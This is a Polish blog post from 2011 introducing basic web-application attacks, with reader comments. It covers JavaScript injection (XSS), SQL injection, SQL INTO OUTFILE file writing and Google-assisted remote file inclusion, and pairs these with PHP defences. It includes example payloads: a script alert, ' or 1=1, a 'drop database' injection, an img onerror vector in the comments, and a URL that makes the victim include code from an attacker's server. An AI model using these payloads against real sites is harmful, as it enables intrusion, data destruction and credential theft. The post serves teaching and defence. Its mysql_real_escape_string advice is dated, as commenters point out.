Strona używa cookies (ciasteczek). Dowiedz się więcej o celu ich używania i zmianach ustawień. Korzystając ze strony wyrażasz zgodę na używanie cookies, zgodnie z aktualnymi ustawieniami przeglądarki.    X

[Parówa] Najprostsze ataki na webaplikacje

No i zgodnie z obietnicą opiszę dziś w miarę szybko parę prostych i powszechnie znanych metod naruszania bezpieczeństwa aplikacji internetowych. Dotyczyć wszystko będzie nie tylko sposobów na uzyskanie dostępu do serwerów, ale także bezpieczeństwa użytkowników strony.

JavaScript Injection

Teoria

JavaScript Injection to wstrzyknięcie kodu JavaScript na atakowaną stronę w celu wykonania go po stronie przeglądarki użytkownika. Osiągnąć to można na przykład wrzucając odpowiedni kod do "dodawaczki komentarzy". Co więcej - zazwyczaj najprostsze sposoby są zazwyczaj tak samo skuteczne, jak te skomplikowane. Co można uzyskać? Wszystko zależy od tego, gdzie można nasz kod osadzić.

Praktyka

Wyobraźmy sobie ową dodawczkę. Dwa inputy, jeden z miejscem na nicka, drugi z miejscem na treść komentarza, taki sam jak poniżej tego tekstu. Użytkownik próbujący atakować stronę w polu nick poda następujący kod:<script type="text/javascript">alert("Hello world!");</script>tflInterpreter, który jest niepoprawnie skonstruowany może taką treść dodać do bazy danych. Kolejny użytkownik wejdzie na stronę, strona zacznie się ładować, aż dojdzie do fragmentu z zainfekowanym komentarzem, pojawi się alert. Czy to tyle? Nie. Wyobraźmy sobie, że udało się nam osadzić js na stronie z panelem logowania. JavaScript przechwytuje próbę zalogowania, przesyła dane do serwera atakującego, a potem przekazuje je z powrotem na właściwy serwis, gdzie następuje normalne logowanie. Można też posadzić javascript gdzieś w strefie użytkownika zalogowanego i przesyłać dane cookie (przeglądarka na to pozwoli, w końcu kod javascript pochodzi z tej samej domeny). Albo w ogóle zmienić stronę i stworzyć fałszywy form do zalogowania? Dlaczego by nie?

Jak się bronić?

Tak samo jak łatwo opanować sztukę wstrzykiwania szkodliwego kodu, tak samo temu zapobiegać. Na przykładzie PHP:$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES); echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

Funkcja htmlspecialchars zamienia wszystkie specjalne znaki używane w html (ampersand, pojedyncze cóski ('), podwójne cóski ("), znak większości i znak mniejszości (<>)) na ich htmlowe odpowiedniki.

SQL Injection

Teoria

Od kiedy strony internetowe przestały być statyczne, trzeba dynamicznie zapisywać dane pochodzące od użytkowników serwisów. Do tego oczywiście używamy baz danych i formularzy na stronach. W składni sql uznaje się, że średnik oddziela zapytania. Między innymi to właśnie pozwala na naruszenie bezpieczeństwa aplikacji.

Praktyka

Teoretycznie (nomen omen) rozpatrzmy dwa zapytania:select `id` from `users` where `user` = '".$_POST['user']."' and `pass` = '".$_POST['pass']."'orazinsert into `users` (`user`, `pass`) VALUES ('".$_POST['user']."', '".$_POST['pass']."')

Pierwsze może posłużyć do logowania, drugie do rejestrowania. Jeśli jakiś spryciarz w pierwszym przykładzie poda hasłoterefere' or 1=1wówczas zapytanie uzyska następującą formę:select `id` from `users` where `user` = 'user' and `pass` = 'terefere' or 1=1'A w odpowiedzi zwróci wszystkie id użytkowników (oczywiście w zależności od ustawionego po stronie SQL domyślnego limitu). A co jeśli przy rejestracji nasz spryciarz zamiast hasła poda:terefere');drop database `database`;Wówczas zapytanie uzyska formę:insert into `users` (`user`, `pass`) VALUES ('user', 'terefere;drop database `database`;')

Jak się bronić?

To również nie jest trudne. W przypadku php wygląda to między innymi tak:sprintf("SELECT * FROM uzytkownicy WHERE uzytkownik='%s' AND haslo='%s'", mysql_real_escape_string($uzytkownik), mysql_real_escape_string($haslo));

Funkcja mysql_real_espace_string (której oczywiście można użyć dla każdego rodzaju zapytań, pod warunkiem posiadania php z skompilowanym ext php_mysql) dodaje znaki \ przed wszystkimi znakami, które mogą powodować rozdzielenie zapytań.

To oczywiście tylko teoria, ale zdaje się daje dobre światło na możliwości tej metody. Przy błędnie skonfigurowanym SQL można uzyskać dostęp do użytkowników i sprobówać...

SQL file Injection

Teoria

To już wybitnie teoretyczna sytuacja, nawet nie pokuszę się o praktyczną część. Chodzi więc o to, by przy pomocy przejętego serwera sql, stworzyć tablicę, zapisać niej rekord ze specjalnie spreparowanym kodem, który następnie przez "into outfile" zostanie zapisany do pliku, ten z kolei zostanie wykonany. Ten "specjalnie spreparowany kod" może być na przykład kodem php przekazującym na zewnątrz sygnatury sesji php itp.

Google include hack

Teoria

Czymże byłby internet bez googla w dzisiejszych czasach. Nie wiem. Ale na pewno byłby bezpieczniejszy. W przepastnych zasobach internetu można wyszukać setki poradników o tym, jak skutecznie szukać luk zabezpieczeń przez googla. Na czym polega google include hack? Na szukaniu odpowiednich informacji o błędach funkcji include. A co możemy dzięki include? Na przykład możemy na cudzej stronie wywołać naszą stronę.

Praktyka

Po co nam google? Szukamy strony, która zaindeksowała się z informacją o błędzie (brak pliku, który miał zostać zaincludowany). Dzięki temu nie musimy szukać na ślepo. Gdy już znajdziemy, próbujemy podać serwisowi nasz zewnętrzny kod na przykład tak:http://www.strona.com/?lang=http://www.moj_serwer.pl/katalogi.txt

I teraz, o ile aplikacja nie jest poprawnie zabezpieczona, zmienna $_GET['lang'] zawiera nasz kod. O ile zmienna lang jest potrzebna do wskazywania odpowiedniej wersji językowej, która potem jest includowana, na serwerze ofiary zostanie wykonany nasz kod.

Sytuacja jest dość prosta do wychwycenia przez developerów aplikacji, ale i tak mimo to... zresztą, zobaczcie sami tutaj.

Podsumowanie

Nie będę ukrywał, że mi się już nie chce podgotowywać tej parówki. Na wszystko są metody i nie ma zabezpieczeń nie do złamania. Ale prawda jest taka, że można spędzić setki godzin na próbach dostania się do serwera i ostukując serwis tysiącem testów penetracyjnych i nic nie znaleźć, albo można zadzwonić do firmy i poprosić o podanie hasła. Ta druga metoda nazywa się socjotechniką, czyli dlaczego hacker może być humanistą... Ale to może już innym razem.

ps. Tekst pisany na luzie, więc bez wyjazdów malkontenci, wiem, że nie poprawnie jest pisać "wywołać stronę na stronie". 

Komentarze

0 nowych
Ryan   15 #1 17.06.2011 12:30

Zapytanie:

select `id` from `users` where `user` = 'user' and `pass` = 'terefere' or 1=1'

Raczej nie zadziała. Za 1=1 potrzebujesz komentarz:

terefere' or 1=1--

JSi można dużo łatwiej wtłoczyć jako parametr błędnej grafiki (zmieniłem nawiasy trójkątne na prostokątne):

[img src=X onerror="alert(1)"]

Większość prymitywnych zabezpieczeń będzie starało się usunąć znacznik script

Co do obrony... Nie lepiej użyć sensownego frameworka albo języka, który automagicznie broni np. przed atakami SQLi?

tfl   8 #2 17.06.2011 12:40

@ryan

Co do zapytania z 1=1 oczywiscie masz racje. mea culpa.


A co do samej obrony przed SQLi - nigdy nie zmienie zdania co do jednego tematu: wszystko zalezy od aplikacji. Nie ma sensu bawic sie w MVC dla prostej stronki, nie ma sensu ladowac sie w zenda (czy inne freamworki server side) dla blogow albo innych galerii zdjec. Ale dla rozbudowanych aplikacji oczywiscie dobrze jest pisac stosujac MVC i dobre frameworki (zend czy code igniter polecam :) )

btw - widac, ze jestem phpfanboy, co ? :)

  #3 17.06.2011 13:14

"JavaScript Injection" - a ja myślałem, że to się nazywa cross-site-scripting

Ryan   15 #4 17.06.2011 13:22

Nazywa się. ;]

tfl   8 #5 17.06.2011 13:25

Nie nazywa sie... :)

xss nie musi byc przeprowadzany przy uzyciu js ;)

Ryan   15 #6 17.06.2011 14:09

Ale tak użyty JS to XSS. ;>

tfl   8 #7 17.06.2011 14:17

To dyskusja o semantyke... ale skoro tak, to samochod sluzy do przemieszczania sie, wiec motor to samochod :)

nie bez przyczyny logike i teorie mnogosci zdawalem wieksza ilosc razy niz pozostali :)

z mojej strony eot :]

  #8 17.06.2011 15:39

alert("Hello world!");tfl

wszerad   6 #9 17.06.2011 16:09

Przy SQLin wystarczy może zamiana " ' " na podwójny?

  #10 17.06.2011 22:40

Lol, nie używa się już zwykłego mysql_
Poczytaj o mysqli_ a najlepiej o PDO oraz bindowaniu :D
@wszerag - nie, nie wystarczy ;)

Ardziej   5 #12 18.06.2011 10:47

Komentarz #8, jak widać złe intencje były :O
Ale Ryan przygotował serwis na takie złe ataki :)
Wpis dobry jest :)
Podstawowe zagadnienia omówione, i może komuś to uratuje co nieco :)

  #13 22.06.2011 13:56

SQL Injection dziś nie ma racji bytu, stosuje się PDO, a tam gdzie nie ma PDO (lub podobnych) nie ma sensu się "włamywać" bo to domowe amatorskie stronki ;)

  #14 13.08.2015 10:49

@Ryan: Nie zawsze jest sens używać fm. zwłaszcza w małych projektach